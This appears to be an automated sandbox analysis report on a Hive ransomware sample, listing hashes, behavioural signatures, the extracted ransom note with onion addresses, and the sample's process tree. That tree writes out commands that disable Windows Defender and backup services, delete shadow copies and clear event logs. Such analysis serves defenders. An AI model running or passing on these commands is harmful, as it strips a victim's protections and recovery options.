Analysis

  • max time kernel
    144s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    12/03/2025, 01:43

General

  • Target

    2025-03-12_8fdfa1997b566f6e086c29e33935dcc5_frostygoop_hive_sliver_snatch.exe

  • Size

    2.5MB

  • MD5

    8fdfa1997b566f6e086c29e33935dcc5

  • SHA1

    178fbe1c8fc1a6e3440215d668797699f94a4bef

  • SHA256

    cab6cf122d0b7129f5083dd0f494bb2f0ecae8c02cf544111e1fc51e13a9fb68

  • SHA512

    b185d1080c62f59ff26592321bf2a5cb85556260f34f59726cc9d5aeed1f82a48c710e8decd1212ddc2e4ca371ba83ad3aca6bf34587ddc73cc9c90afec467d5

  • SSDEEP

    24576:n1aan2Cc2sLnOJaoyN8sAwq5JQx40Dgga3gG7LMzgoUEyQTaRSOPE7O7S88Vt4C3:n3Dqy3PyzMCteCl/G/1D1o

Malware Config

Extracted

Path

C:\Program Files\Common Files\Microsoft Shared\VSTO\10.0\auw1_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: 8g79kHqNA5hh Password: XVxZo6vidfBS5ZyVVj6a To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.fmu9d files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Disables service(s) 3 TTPs
  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Hive family
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-03-12_8fdfa1997b566f6e086c29e33935dcc5_frostygoop_hive_sliver_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-03-12_8fdfa1997b566f6e086c29e33935dcc5_frostygoop_hive_sliver_snatch.exe"
    1⤵
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2144
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2704
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2676
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2780
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2556
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SDRSVC" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2136
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SDRSVC" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2052
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SstpSvc" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:888
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SstpSvc" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2664
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "UI0Detect" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1312
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "UI0Detect" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2560
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "VSS" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2568
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "VSS" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2612
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "wbengine" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "wbengine" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3008
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "WebClient" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2600
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "WebClient" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3004
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "NetMsmqActivator" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3024
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "SamSs" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2892
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "SDRSVC" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3052
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "SstpSvc" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2216
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "UI0Detect" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2088
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "VSS" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1152
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "wbengine" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2876
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "WebClient" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2308
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
      2⤵
      • Modifies Security services
      • System Location Discovery: System Language Discovery
      PID:1764
    • C:\Windows\SysWOW64\reg.exe
      reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1580
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • System Location Discovery: System Language Discovery
      PID:2608
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1684
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1240
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:1304
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:1480
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      PID:2760
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:2848
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:1820
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:604
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:332
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
      2⤵
        PID:1936
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
        2⤵
          PID:3060
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2028
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2084
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1788
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2328
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1200
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2316
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2100
        • C:\Windows\SysWOW64\reg.exe
          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1952
        • C:\Windows\SysWOW64\reg.exe
          reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1960
        • C:\Windows\SysWOW64\reg.exe
          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:624
        • C:\Windows\SysWOW64\reg.exe
          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1672
        • C:\Windows\SysWOW64\reg.exe
          reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1868
        • C:\Windows\SysWOW64\reg.exe
          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1864
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:908
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:640
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:1756
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:2952
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies security service
          • System Location Discovery: System Language Discovery
          PID:2064
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:1536
        • C:\Windows\SysWOW64\vssadmin.exe
          vssadmin.exe delete shadows /all /quiet
          2⤵
          • System Location Discovery: System Language Discovery
          • Interacts with shadow copies
          PID:3068
        • C:\Windows\SysWOW64\wevtutil.exe
          wevtutil.exe cl system
          2⤵
          • Clears Windows event logs
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:1516
        • C:\Windows\SysWOW64\wevtutil.exe
          wevtutil.exe cl security
          2⤵
          • Clears Windows event logs
          • Suspicious use of AdjustPrivilegeToken
          PID:2224
        • C:\Windows\SysWOW64\wevtutil.exe
          wevtutil.exe cl application
          2⤵
          • Clears Windows event logs
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2264
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          wmic.exe SHADOWCOPY /nointeractive
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:1048
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          wmic.exe shadowcopy delete
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2072
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1320
          • C:\Program Files\Windows Defender\MpCmdRun.exe
            "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
            3⤵
            • Deletes Windows Defender Definitions
            PID:884
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
          2⤵
          • System Location Discovery: System Language Discovery
          PID:3044
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIOAVProtection $true
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:1000
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2928
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableRealtimeMonitoring $true
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:2656

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads

      • C:\Program Files\Common Files\Microsoft Shared\VSTO\10.0\auw1_HOW_TO_DECRYPT.txt

        Filesize

        1KB

        MD5

        2820fcb11d7daa8ec77b1f331a1352b6

        SHA1

        16cc7a5cef90c634e5b7440cd1c16933b18bcec7

        SHA256

        7de74dbb2e345a415ea93c7f700cff4c97b0a2dbe65234593d96269148acbdf5

        SHA512

        3cd9504b4e29bdcaf36879eb3e1067827c70786e2d4c47f0be202d1791847533f5cfff5b3ce3a5817566575f07498de0af77c4bf84a2d7acb0705aa411278fc1

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

        Filesize

        7KB

        MD5

        24734752fce937e62010ba8fe29b195c

        SHA1

        0dce031a3b3cbe8a922b5dfb5f86b6258ebbeadd

        SHA256

        e0366877d6c18d03a81000c48cb7219aa407dabb392d861f86d865d3984d7a64

        SHA512

        d3783c93c9622f47bcf0eddc56a5559448f597c75cf15f404eddf00d3393f4b19be4fa1819242224619df3866a49b84cca8574e38999bb0e9fec5ef3f3669cf2